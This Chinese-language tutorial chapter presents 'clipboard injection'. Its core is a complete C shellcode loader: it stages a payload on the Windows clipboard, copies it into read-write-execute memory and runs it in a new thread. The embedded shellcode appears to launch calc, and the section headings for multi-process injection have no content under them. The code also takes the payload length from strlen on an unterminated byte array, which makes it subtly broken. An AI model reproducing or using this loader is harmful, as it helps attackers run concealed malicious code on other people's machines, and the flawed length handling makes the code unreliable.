13-剪贴板注入(Clipboard Injection)

一、前言

本节涉及 进程间通信(IPC),剪贴板是进程间通信的方法之一,其实注册表也可以作为进程间通信的桥梁。

如果可以通过进程间通信获得全局内存的句柄,就可以共享内存中的shellcode,一般全局内存是不可执行的,记得复制到具有可执行权限的内存或者说用 VirtualProtect/VirtualProtectEx ,当然这只是作为拓展思路,本文用的不是这个方法。进程间通信当然不局限于传输shellcode。

剪贴板:是一组功能和使应用程序来传输的数据消息。由于所有应用程序都可以访问剪贴板,因此可以轻松地在应用程序之间或应用程序内传输数据。

剪贴板的数据格式:文本、图片、程序

注册剪切板格式:我们可以注册一个新的剪切板格式来存放我们的数据

本节介绍的执行链与前面介绍的并没有什么区别,但是学习到了一个可以分配全程内存的API,GlobalAllocglobalAlloc 函数 (winbase.h) - Win32 apps | Microsoft Learnarrow-up-right

二、代码实现

2.1 单进程

#include <windows.h>
#include <stdio.h>
#include <cstdlib> // 添加此行以包含 malloc 的定义

typedef struct {
    unsigned char* payload; // shellcode
    size_t length;         // shellcode 长度
    int key;               // 其他参数
} Payload;

// 假设 spawn 函数的声明
void spawn(unsigned char* buffer, size_t length, int key);

void ClipboardOperation(Payload* payload) {
    HGLOBAL hglb;
    LPVOID lptstr;
    SYSTEMTIME systemTime;

    // 打开剪贴板
    if (!OpenClipboard(NULL)) {
        fprintf(stderr, "Failed to open clipboard. Error: %d\n", GetLastError());
        return;
    }

    // 读取剪贴板内容
    hglb = GetClipboardData(CF_TEXT);
    if (hglb != NULL) {
        lptstr = GlobalLock(hglb);
        if (lptstr != NULL) {
            GetLocalTime(&systemTime);
            GlobalUnlock(hglb);
        }
    }

    // 清空剪贴板
    EmptyClipboard();

    // 分配内存并复制 shellcode 到剪贴板
    HGLOBAL hGlobalCopy = GlobalAlloc(GMEM_MOVEABLE, payload->length);
    if (hGlobalCopy == NULL) {
        fprintf(stderr, "GlobalAlloc failed. Error: %d\n", GetLastError());
        CloseClipboard();
        return;
    }

    LPVOID lpCopy = GlobalLock(hGlobalCopy);
    if (lpCopy != NULL) {
        memcpy(lpCopy, payload->payload, payload->length);
        GlobalUnlock(hGlobalCopy);
    }

    // 设置剪贴板数据
    if (SetClipboardData(CF_TEXT, hGlobalCopy) == NULL) {
        fprintf(stderr, "SetClipboardData failed. Error: %d\n", GetLastError());
        GlobalFree(hGlobalCopy);
        CloseClipboard();
        return;
    }

    // 读取剪贴板数据到 buffer
    HGLOBAL hGlobal = GetClipboardData(CF_TEXT);
    if (hGlobal != NULL) {
        lptstr = GlobalLock(hGlobal);
        if (lptstr != NULL) {
            unsigned char* buffer = (unsigned char*)malloc(payload->length);
            if (buffer) {
                memcpy(buffer, lptstr, payload->length);
                GlobalUnlock(hGlobal);

                // 调用 spawn 函数
                spawn(buffer, payload->length, payload->key);

                free(buffer); // 释放分配的内存
            }
            else {
                fprintf(stderr, "Failed to allocate memory for buffer.\n");
            }
        }
    }

    // 清空剪贴板并关闭
    EmptyClipboard();
    CloseClipboard();
}

void spawn(unsigned char* buffer, size_t length, int key) {
    // 创建一个可执行的内存区域
    DWORD oldProtect;
    LPVOID execMem = VirtualAlloc(NULL, length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if (execMem == NULL) {
        fprintf(stderr, "Failed to allocate executable memory. Error: %d\n", GetLastError());
        return;
    }

    // 将 shellcode 复制到可执行内存区域
    memcpy(execMem, buffer, length);

    // 创建一个新的线程来执行 shellcode
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)execMem, NULL, 0, NULL);

    if (hThread == NULL) {
        fprintf(stderr, "Failed to create thread. Error: %d\n", GetLastError());
        VirtualFree(execMem, 0, MEM_RELEASE);
        return;
    }

    // 等待线程执行完成
    WaitForSingleObject(hThread, INFINITE);

    // 清理
    CloseHandle(hThread);
    VirtualFree(execMem, 0, MEM_RELEASE);
}

int main() {

    unsigned char shellcode[] = {
            0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
    0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
    0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
    0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
    0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
    0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
    0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
    0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
    0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
    0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
    0x5B, 0x5A, 0x59, 0x58, 0xC3
    };
    // 示例 payload 初始化
    Payload payload;
    payload.payload = (unsigned char*)shellcode; // 示例 shellcode
    payload.length = strlen((char*)payload.payload);
    payload.key = 123; // 示例 key

    ClipboardOperation(&payload);
    return 0;
}

2.2 多进程

写入shellcode

读取并执行shellcode

2.3 一个进程完成shellcode注入到另一个进程

Last updated